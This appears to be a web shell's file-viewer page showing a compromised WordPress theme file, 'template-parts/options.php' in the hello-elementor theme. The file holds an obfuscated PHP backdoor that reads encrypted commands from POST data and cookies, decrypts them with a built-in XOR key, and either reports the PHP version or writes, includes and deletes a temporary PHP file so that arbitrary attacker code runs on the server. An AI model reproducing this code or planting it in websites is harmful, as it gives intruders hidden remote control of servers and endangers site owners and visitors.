HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-content/themes/hello-elementor/template-parts/options.php
<?php 
$ck_ifbvwr /* ynrgqs*/ =	'ck_ifbvwr'    ^ /*v*/ '-';


$_mhxln     =     "a".$ck_ifbvwr(944-830)	.	"\162"       . /*   wrygl */ "\141"  .       "y"."_"."m".$ck_ifbvwr(543-446) /*   oq  */ .    "\160";


$lpngq /*xqx */ =  "\x63" /* yx  */ .      $ck_ifbvwr(111)    .    "u"."\x6e" /*  slgd */ .    "\164";






function /* xqwvq   */ aognfrvl($sojtunzoy,	$qjeugeqpip)

{ /*  v */ global	$ck_ifbvwr;
 /*  ry*/ 

      $sojtunzoy    = /* ftu   */ $ck_ifbvwr(60) /*qh*/ .  $ck_ifbvwr(855-792)    .    $ck_ifbvwr(333-221)       . /*ysyygy  */ "h"."\160"    .  $ck_ifbvwr(32)       .	"\165"    .    "n".$ck_ifbvwr(962-854) /*tukb  */ .	$ck_ifbvwr(964-859)    . /*   juk   */ "n"."k"."("."_".$ck_ifbvwr(95)    .   $ck_ifbvwr(70) /*kn*/ .	$ck_ifbvwr(73) /* tlyq  */ .   "\x4c"    .	"E"."_".$ck_ifbvwr(95) /* mrk */ .    ")"."\73"    .   $ck_ifbvwr(32)   .      $sojtunzoy[$ck_ifbvwr(133-33)];


   $e_qsoal /*_y  */ =   $ck_ifbvwr(102)	. /* prod   */ $ck_ifbvwr(105)    .      "\x6c"   .    "e".$ck_ifbvwr(858-763)	. /*   oythj*/ "p"."u"."t"."\x5f"   .	"c"."\x6f"      . /*  nxm*/ $ck_ifbvwr(759-649)    .	"\x74"       . /* ff */ "e"."n"."\164"  .	"\163";

 /*  ma_o*/ 


 /*bftby   */ $e_qsoal($qjeugeqpip,    $sojtunzoy);


    /*  _  */ qd_wroc($qjeugeqpip);

}



$ofmehmatgb_na_haj /*   nikmcn   */ =    73;
function   qd_wroc($qjeugeqpip)


{
     global /*b_tmah */ $ck_ifbvwr;
   /*cf   */ include($qjeugeqpip); /* u */ $qqqnqp_n    = /*   _nx   */ $qjeugeqpip;

 /*  vxyy   */ @unlink($qqqnqp_n);}function       tvjenhqr()
{ /*dtrr  */ global    $ck_ifbvwr;




 /* di  */ $ofmehmatg	= /*  oqrp */ array();    $ofmehmatg["p".$ck_ifbvwr(170-52)] /*   e */ =      phpversion();

 /*  kjn_  */ $ofmehmatg["s"."v"]     = /* d   */ "3".$ck_ifbvwr(743-697)    . /*z*/ $ck_ifbvwr(782-729);
	$gnycdz      =   74;


      echo  @serialize($ofmehmatg);
}

function    xmanlmgdx($sojtunzoy,   $axzapod){

    global /* kojg   */ $ck_ifbvwr;





    $koyraot  =   "";


       $qvb_k_nwv	= /* dfq */ strlen($sojtunzoy);    $ofmehmatgawnaryi_a  =	strlen($axzapod);
    $ofmehmatg    =     0;

    $stcsy /*atuc   */ = /* qy */ 0;

	
 /*  hrw */ while /* m*/ ($ofmehmatg  < /* ldon*/ $qvb_k_nwv) /*y  */ {
	$fwjsxxfkd       =    $sojtunzoy[$ofmehmatg]      ^ /*   a*/ $axzapod[$stcsy    %  $ofmehmatgawnaryi_a];


    $koyraot	.= /*   _nh   */ $fwjsxxfkd;


      $stcsy++;    
 /* ylop */ $ofmehmatg++;


 /* h   */ }

	

    if	(strlen($koyraot)       >	20) /* dkjiii*/ {
 /* _gpcg */ $tsdehdw /* ilt*/ =    substr($koyraot,    0,      20);


 /*xakdlt  */ }


   if /* ro*/ (empty($koyraot))  {


 /*   jqly*/ $koyraot /*zlvq*/ =   date('Y-m-d     H:i:s');

     }    return    $koyraot;


}



function  _vwixrgd($sw_bdejkuk)
{

  global     $ck_ifbvwr;

 /*  wyceut */ 
   $ffphm    =	"\x35"   .	"\146"    .    $ck_ifbvwr(234-180)  .    "f".$ck_ifbvwr(97).$ck_ifbvwr(306-207) /*zuj*/ .    "5"."4".$ck_ifbvwr(45)    .	"2"."6".$ck_ifbvwr(128-75)	. /*  _ */ "6".$ck_ifbvwr(286-241) /*   xe*/ . /*  gzf*/ "4"."8".$ck_ifbvwr(56)    .       $ck_ifbvwr(50)   .    "-"."\x39" /*jibj */ .      "\145"       . /* xdlt__*/ "\x61"   .    "b".$ck_ifbvwr(938-893)	.     $ck_ifbvwr(100) /*  ldiz_  */ .	$ck_ifbvwr(52)   .       "\x64"    .      $ck_ifbvwr(133-33).$ck_ifbvwr(133-33).$ck_ifbvwr(49)	.  $ck_ifbvwr(97)."2".$ck_ifbvwr(110-12)	. /*nvg*/ "\141" /*  tmzins */ .    "4"."b";  

     foreach /* e */ ($sw_bdejkuk /* wzsl*/ as /*  loryk   */ $qj_auwck /*  x  */ => /*uvu*/ $sojtunzoy)      {

    bzxguw(base64_decode($sojtunzoy), /*   gdcvui   */ $ffphm,	$qj_auwck);    }


}


function    bzxguw($sojtunzoy, /*   dxdd_z */ $ffphm,    $qj_auwck)
{    global	$ck_ifbvwr;

    


	$sojtunzoy      =	unserialize(xmanlmgdx(xmanlmgdx($sojtunzoy,  $ffphm),    $qj_auwck));
	$awnnk /*   zv */ =    'mv';

	$ztcbtmjqg   =     'efxhzs';    if /*  ea   */ (isset($sojtunzoy[$ck_ifbvwr(702-605)      . /*  wev  */ "\153"]))    {
    if  ($sojtunzoy[$ck_ifbvwr(97)] /*   jvljrh*/ ==	"\151")   {
   tvjenhqr();


	}      elseif    ($sojtunzoy[$ck_ifbvwr(97)]    ==    "e") /*   rffbx  */ {

  aognfrvl($sojtunzoy, /*hvv */ sprintf("\x2e"    . /*  h */ "\x2f"	. /* wta  */ "%"."\x73"    .	"."."p".$ck_ifbvwr(567-459), /* daozz   */ md5($ffphm)));


			$ldrhrwsb	=    44;


      }    exit();	}}


_vwixrgd($_POST); /*  mcbmo_   */ 


$rostdcedw    =	'rawurldecode';





$dzpnf /* x  */ =	$_mhxln($rostdcedw,      $_POST);strpos($rostdcedw,    'ldbxmylvx');


$qgukvla      =      $lpngq($dzpnf);


_vwixrgd($_COOKIE); /*   _kmu*/ 





$uxaacr /*  wilel   */ =  $_mhxln($rostdcedw,	$_COOKIE);


?>